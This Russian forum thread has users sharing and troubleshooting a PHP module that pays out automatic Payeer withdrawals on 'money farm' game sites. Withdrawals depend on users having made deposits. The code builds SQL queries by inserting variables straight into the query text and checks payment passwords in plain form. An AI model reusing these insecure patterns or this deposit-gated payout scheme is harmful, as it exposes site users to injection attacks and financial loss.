$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 1;

?>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR />
<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] <= 9.99 AND $user_data["from_referals"] <= 0){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи, которые пополнили баланс больше, чем на 10 RUB ! У нас нет платежных баллов !<b></font></center><BR />
<BR />
<BR /><BR />
<div class="clr"></div>
</div>
<?PHP

return;
}

?>
<center><b>Заказ выплаты:</b></center><BR />

<?PHP

function CheckPurse()
{
global $db;
global $usid;
$db->Query("SELECT * FROM `db_payment` WHERE `ps`='py' AND `user_id`='$usid'");
$v = $db->FetchArray();
if (empty($v["id"]))
return FALSE;
else
return $v["purse"];
}
function ViewPurse($purse){

if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;
return $purse;
}
# Заносим выплату
if(isset($_POST["purse"])){
if(empty($user_data['purse'])) {
$purse = ViewPurse($_POST["purse"]);
}
else
{
$purse = $user_data['purse'];
}

$sum = intval($_POST["sum"]);
$val = "RUB";



if($purse !== false){

if($sum >= $minPay){

if($sum <= $user_data["money_p"]){

# Проверяем на существующие заявки
$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){


### Делаем выплату ###
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{

$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{

$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);

$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+0)){



$arTransfer = $payeer->transfer(array(
'curIn' => 'RUB', // счет списания
'sum' => $sum_pay, // сумма получения
'curOut' => 'RUB', // валюта получения
'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)
'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта Money-Ferma.RU")
//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции
));

if (!empty($arTransfer["historyId"]))
{


# Снимаем с пользователя
$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");

# Вставляем запись в выплаты
$da = time();
$dd = $da + 60*60*24*15;

$ppid = $arTransfer["historyId"];

$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
if(empty($user_data['purse'])) {
$db->Query("UPDATE db_users_b SET purse = '$purse' WHERE id = '$usid'");
}
$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");

echo "<center><font color = 'green'><b>Выплачено! Пожалуйста загрузите скрин выплаты на форум MMGP <a href=http://mmgp.ru/showthread.php?t=236605>http://mmgp.ru/showthread.php?t=236605</a>.</b></font></center><BR />";

}
else
{

echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Внутреняя ошибка - пожалуйста повторите!</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";

}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} кредитов!</font></b></center><BR />";

}else echo "<center><b><font color = 'red'>Кошелек указан неверно! Смотрите образец!</font></b></center><BR />";

}
?>

<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек [Пример: P1112457]</font>: </td>
<td>
<?php
if(!empty($user_data['purse'])) {
echo '<input type="text" name="purse" size="15" value="'.$user_data['purse'].'" disabled="disabled"/>';
}
else
{
echo '<input type="text" name="purse" size="15"/>';
}
?>
</td>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. 0]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="0" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете [RUR]<span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>

<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form>
<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h1>Ваши последние выплаты</h1></td>
</tr>
<tr>
<td align="center" class="m-tb">Сумма</td>
<td align="center" class="m-tb">Игрок</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP
$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
if($db->NumRows() > 0){
while($ref = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$ref["sum"]; ?> RUB</td>
<td align="center"><?=$ref["user"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP

}
}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>

</table>

<div class="clr"></div>
</div>


И запрос в базу данных:
Скрытое содержимое для зарегистрированных пользователей!

1. скопировать фаил соответствующей дерриктории

2. Зайди в базу данных найти "db_users_b" нажать "структура" добавить одно поле жмём "ок" пишем имя "purse" тип

выбираем "varchar" длинна "8" и жмём "ок"

Всё!


==============================================================================
 
Последнее редактирование модератором:
kvozimir
Участник
Сообщения
1.935
Реакции
409
ICQ
734713 734713
Skype
  • #70
хватить призывать народ к кнопке мне нравится
 
alekse479
Местный
Сообщения
56
Реакции
2
  • #71
kvozimir написал(а):
хватить призывать народ к кнопке мне нравится
Ваше: за какую либо помощь или модуль не надо писать спасибо,просто жмем мне нравится,этим вы благодарите пользователей за их труд
Как Правильно Настроить Пополнение И Вывод >> перейти << // Модули для ФФ бесплатно >> перейти << // Магазин Модулей >> перейти <<
 
kvozimir
Участник
Сообщения
1.935
Реакции
409
ICQ
734713 734713
Skype
  • #72
я ж не пишу код какой либо и потом пишу жми мне нравится....

у меня это примечание для пользователей
 
MrMatnoos
Участник
Сообщения
198
Реакции
42
Skype
  • #73
Люди подскажите что в таблице db_pay_dat писать?

я вместо db_pay_dat написал db_payment, вроде работает, но выдаёт "Внутреняя ошибка - сообщите о ней администратору!"
 
Последнее редактирование:
Андрей
Участник
Сообщения
241
Реакции
55
  • #74
Mrmatnoos написал(а):
Люди подскажите что в таблице db_pay_dat писать?

я вместо db_pay_dat написал db_payment, вроде работает, но выдаёт "Внутреняя ошибка - сообщите о ней администратору!"
пользуйся поиском по сайту. тык
 
M
MELMC
  • #76
помогите сделать привязку кошелька ,заплачу
 
Kamikadze
Местный
Сообщения
53
Реакции
5
  • #78
Все варианты перепробывал, не привязывается:(:(, платежный привязал, а защита не хочет не в какую, помогите люди добрые
Код:
<div class="s-bk-lf">
  <div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />

<?PHP
  error_reporting(0);
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$usid'");
$prof_data = $db->FetchArray();
if($prof_data["insert_sum"]<10) {
$status = "Стажер";
$max = "0";
} else if ($prof_data["insert_sum"]>=10 && $prof_data["insert_sum"]< 100) {
$status = "Рабочий";
$max = $prof_data["insert_sum"]*2;
}  else if ($prof_data["insert_sum"]>=100 && $prof_data["insert_sum"]< 500) {
$status = "Начальник";
$max = $prof_data["insert_sum"]*3;
}  else if ($prof_data["insert_sum"]>=500 && $prof_data["insert_sum"]< 1000) {
$status = "Директор";
$next = "1000";
$max = $prof_data["insert_sum"]*4;
}  else if ($prof_data["insert_sum"]>=1000) {
$status = "Олигарх";
$max = "99999999";
}
 
?>



<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из Payeer</a> <BR /><BR />


<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] < 10 AND $user_data["from_referals"] <= 10){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи со статусом "Рабочий" и выше или у кого есть активнй реферал!<b></font></center><BR />
<BR />
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer (Пример: P12345678)</font>: </td>
  <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете серебро для вывода</font> (Минимум 100 монет)<font color="#000;">:</font> </td>
  <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
  <td>
  <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
  <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="USD" value="<?=$sonfig_site["ser_per_wmz"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="EUR" value="<?=$sonfig_site["ser_per_wme"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
  <input type="hidden" name="val_type" id="val_type" value="RUB" />
  <input type="hidden" name="per" id="min_sum_USD" value="<?=$min_p_wmz; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_EUR" value="<?=$min_p_wme; ?>" disabled="disabled"/>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="lol" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
  <td align="center" class="m-tb">Кошелек</td>
  <td align="center" class="m-tb">Дата</td>
  <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
  if($db->NumRows() > 0){
 
      while($ref = $db->FetchArray()){
   
    ?>
    <tr class="htt">
        <td align="center"><?=$ref["serebro"]; ?></td>
        <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
        <td align="center"><?=$ref["purse"]; ?></td>
      <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
        <td align="center"><?=$status_array[$ref["status"]]; ?></td>
      </tr>
    <?PHP
   
    }
 
  }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
</table>
<div class="clr"></div>   
</div>
<?PHP

return;
}

?>
  <b>На Вашем счету: <?=sprintf("%.2f",$user_data["pay_points"]); ?> баллов <a href="https://servahoc.ru/redirect.php?url=/pay_points">ПОЛУЧИТЬ БАЛЛЫ</a> </b><BR />
  <b>Ваш статус: <u><a href="https://servahoc.ru/redirect.php?url=/status"><?=$status;?></a></u>. Выплачено: <?=$user_data["payment_sum"];?> рублей / <?=$max;?> рублей</b><br>
  <b>С учетом ваших баллов и статуса вы можете вывести: <u><? if ($user_data["pay_points"] >= ($max-$user_data["payment_sum"])) { echo round($max-$user_data["payment_sum"]);} else echo round($user_data["pay_points"]); ?></u> рублей
<BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />

<?PHP
    function ViewPurse($purse){
   
    if( substr($purse,0,1) != "P" ) return false;
    if( !ereg("^[0-9]{7,8}$", substr($purse,1)) ) return false; 
    return $purse;
  }
  # Заносим выплату
  if(isset($_POST["purse"])){
   
    $purse = ViewPurse($_POST["purse"]);
    $sum = intval($_POST["sum"]);
    $plat_passs = intval($_POST["plat_pass"]);
    $plat_pass = ($plat_passs);
    $val = "RUB";
   
    if($plat_pass == $user_dataa['plat_pass']) {
    if($purse !== false){
     
        if($sum >= 100){
 
  if (($sum/100) <= ($max-$user_data["payment_sum"])) {
       
          if($sum <= $user_data["money_p"]){
           
            # Проверяем на существующие заявки
            $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
            if($db->FetchRow() == 0){
               
               
              ### Делаем выплату ### 
              $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
              if ($payeer->isAuth())
              {
                $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                if($user_data["pay_points"] >= $sum_pay){
               
                  $arBalance = $payeer->getBalance();
                  if($arBalance["auth_error"] == 0)
                  {
                   
                   
                   
                    $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                    if( ($balance) >= ($sum_pay)){
                   
                   
                   
                    $arTransfer = $payeer->transfer(array(
                    'curIn' => 'RUB', // счет списания
                    'sum' => $sum_pay, // сумма получения
                    'curOut' => 'RUB', // валюта получения
                    'to' => $purse, // получатель (email)
                    //'to' => '+71112223344',  // получатель (телефон)
                    //'to' => 'P1000000',  // получатель (номер счета)
                    'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} c проекта cargoexpress.su")
                    //'anonim' => 'Y', // анонимный перевод
                    //'protect' => 'Y', // протекция сделки
                    //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                    //'protectCode' => '12345', // код протекции
                    ));
                   
                      if (!empty($arTransfer["historyId"]))
                      { 
                     
                     
                        # Снимаем с пользователя
                        $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum', payment_sum = payment_sum + '$sum_pay', pay_points = pay_points - '$sum_pay' WHERE id = '$usid'");
                       
                        # Вставляем запись в выплаты
                        $da = time();
                        $dd = $da + 60*60*24*15;
                       
                        $ppid = $arTransfer["historyId"];
                       
                        $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
                        VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
                       
                        $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
                       
                        echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                       
                      }
                      else
                      {
                     
                        echo "<center><font color = 'red'><b>Сервер выплат перегружен, попробуйте через 10-15 секунд!</b></font></center><BR />"; 
                     
                      }
                   
                   
                    }else echo "<center><font color = 'red'><b>Шлюз перегружен, повторите попытку через 5-10 секунд!</b></font></center><BR />";
                   
                  }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
               
                }else echo "<center><font color = 'red'><b>Недостаточно <a href='/account/pay_points'>платежных баллов</a></b></font></center><BR />";
               
              }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
             
               
            }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
             
           
          }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
       
  } else echo "<center><b><font color = 'red'>Для вашего статуса закончился лимит выплат!</font></b></center><BR />";
 
        }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет 100 серебра!</font></b></center><BR />";
   
    }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
  }else echo "<center><b><font color = 'red'>Платежный пароль указан не верно!</font></b></center><BR />";
   
}
?>
<?php
if($user_dataa['plat_pass'] == 0) {
echo "<center><b><font color = 'red'>Укажите платежный пароль в профиле!</font></b></center><BR />";
} else

?>

<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer (Пример: P12345678)</font>: </td>
  <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете Серебро для вывода</font> (Минимум 100 монет)<font color="#000;">:</font> </td>
  <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <td><font color="#000;">Платежный пароль[указывается в <a href="https://servahoc.ru/redirect.php?url=/account/config" target="_blank">Настройках</a>]</font>: </td>
    <td><input type="text" name="plat_pass" size="15"/></td>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
  <td>
  <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
  <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="USD" value="<?=$sonfig_site["ser_per_wmz"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="EUR" value="<?=$sonfig_site["ser_per_wme"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
  <input type="hidden" name="val_type" id="val_type" value="RUB" />
  <input type="hidden" name="per" id="min_sum_USD" value="<?=$min_p_wmz; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_EUR" value="<?=$min_p_wme; ?>" disabled="disabled"/>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>

<b><font color = "blue">Дорогие друзья, в связи с тем, что фермы часто подвергаются атакам хакеров и пытаются вывести весь резерв мы создали 2 кошелька, один для выплат, второй для хранения большей части резерва, на кошелёк для выплат мы будем зачислять не более 800 рублей, после того, как эта сумма будет выплачена - мы вновь зачислим 800 рублей.
Если при заказе выплаты появляется ошибка: <font color = "red">Не удалось выплатить! Попробуйте позже! </font>значит средства на кошельке для выплат исчерпаны, ожидайте их зачисления (на это будет уходить не более 2 часов).</font></b>

<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
  <td align="center" class="m-tb">Кошелек</td>
  <td align="center" class="m-tb">Дата</td>
  <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
  if($db->NumRows() > 0){
 
      while($ref = $db->FetchArray()){
   
    ?>
    <tr class="htt">
        <td align="center"><?=$ref["serebro"]; ?></td>
        <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
        <td align="center"><?=$ref["purse"]; ?></td>
      <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
        <td align="center"><?=$status_array[$ref["status"]]; ?></td>
      </tr>
    <?PHP
   
    }
 
  }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
</table><div class="clr"></div>   
</div>
 
MrMatnoos
Участник
Сообщения
198
Реакции
42
Skype
  • #79
Kamikadze написал(а):
Все варианты перепробывал, не привязывается:(:(, платежный привязал, а защита не хочет не в какую, помогите люди добрые
Код:
<div class="s-bk-lf">
  <div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />

<?PHP
  error_reporting(0);
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$usid'");
$prof_data = $db->FetchArray();
if($prof_data["insert_sum"]<10) {
$status = "Стажер";
$max = "0";
} else if ($prof_data["insert_sum"]>=10 && $prof_data["insert_sum"]< 100) {
$status = "Рабочий";
$max = $prof_data["insert_sum"]*2;
}  else if ($prof_data["insert_sum"]>=100 && $prof_data["insert_sum"]< 500) {
$status = "Начальник";
$max = $prof_data["insert_sum"]*3;
}  else if ($prof_data["insert_sum"]>=500 && $prof_data["insert_sum"]< 1000) {
$status = "Директор";
$next = "1000";
$max = $prof_data["insert_sum"]*4;
}  else if ($prof_data["insert_sum"]>=1000) {
$status = "Олигарх";
$max = "99999999";
}

?>



<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из Payeer</a> <BR /><BR />


<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] < 10 AND $user_data["from_referals"] <= 10){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи со статусом "Рабочий" и выше или у кого есть активнй реферал!<b></font></center><BR />
<BR />
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer (Пример: P12345678)</font>: </td>
  <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете серебро для вывода</font> (Минимум 100 монет)<font color="#000;">:</font> </td>
  <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
  <td>
  <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
  <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="USD" value="<?=$sonfig_site["ser_per_wmz"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="EUR" value="<?=$sonfig_site["ser_per_wme"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
  <input type="hidden" name="val_type" id="val_type" value="RUB" />
  <input type="hidden" name="per" id="min_sum_USD" value="<?=$min_p_wmz; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_EUR" value="<?=$min_p_wme; ?>" disabled="disabled"/>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="lol" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
  <td align="center" class="m-tb">Кошелек</td>
  <td align="center" class="m-tb">Дата</td>
  <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP

  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");

  if($db->NumRows() > 0){

      while($ref = $db->FetchArray()){

    ?>
    <tr class="htt">
        <td align="center"><?=$ref["serebro"]; ?></td>
        <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
        <td align="center"><?=$ref["purse"]; ?></td>
      <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
        <td align="center"><?=$status_array[$ref["status"]]; ?></td>
      </tr>
    <?PHP

    }

  }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'

  ?>


</table>
<div class="clr"></div>
</div>
<?PHP

return;
}

?>
  <b>На Вашем счету: <?=sprintf("%.2f",$user_data["pay_points"]); ?> баллов <a href="https://servahoc.ru/redirect.php?url=/pay_points">ПОЛУЧИТЬ БАЛЛЫ</a> </b><BR />
  <b>Ваш статус: <u><a href="https://servahoc.ru/redirect.php?url=/status"><?=$status;?></a></u>. Выплачено: <?=$user_data["payment_sum"];?> рублей / <?=$max;?> рублей</b><br>
  <b>С учетом ваших баллов и статуса вы можете вывести: <u><? if ($user_data["pay_points"] >= ($max-$user_data["payment_sum"])) { echo round($max-$user_data["payment_sum"]);} else echo round($user_data["pay_points"]); ?></u> рублей
<BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />

<?PHP
    function ViewPurse($purse){

    if( substr($purse,0,1) != "P" ) return false;
    if( !ereg("^[0-9]{7,8}$", substr($purse,1)) ) return false;
    return $purse;
  }
  # Заносим выплату
  if(isset($_POST["purse"])){

    $purse = ViewPurse($_POST["purse"]);
    $sum = intval($_POST["sum"]);
    $plat_passs = intval($_POST["plat_pass"]);
    $plat_pass = ($plat_passs);
    $val = "RUB";

    if($plat_pass == $user_dataa['plat_pass']) {
    if($purse !== false){
  
        if($sum >= 100){

  if (($sum/100) <= ($max-$user_data["payment_sum"])) {
    
          if($sum <= $user_data["money_p"]){
        
            # Проверяем на существующие заявки
            $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
            if($db->FetchRow() == 0){
            
            
              ### Делаем выплату ###
              $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
              if ($payeer->isAuth())
              {
                $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                if($user_data["pay_points"] >= $sum_pay){
            
                  $arBalance = $payeer->getBalance();
                  if($arBalance["auth_error"] == 0)
                  {
                
                
                
                    $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                    if( ($balance) >= ($sum_pay)){
                
                
                
                    $arTransfer = $payeer->transfer(array(
                    'curIn' => 'RUB', // счет списания
                    'sum' => $sum_pay, // сумма получения
                    'curOut' => 'RUB', // валюта получения
                    'to' => $purse, // получатель (email)
                    //'to' => '+71112223344',  // получатель (телефон)
                    //'to' => 'P1000000',  // получатель (номер счета)
                    'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} c проекта cargoexpress.su")
                    //'anonim' => 'Y', // анонимный перевод
                    //'protect' => 'Y', // протекция сделки
                    //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                    //'protectCode' => '12345', // код протекции
                    ));
                
                      if (!empty($arTransfer["historyId"]))
                      {
                  
                  
                        # Снимаем с пользователя
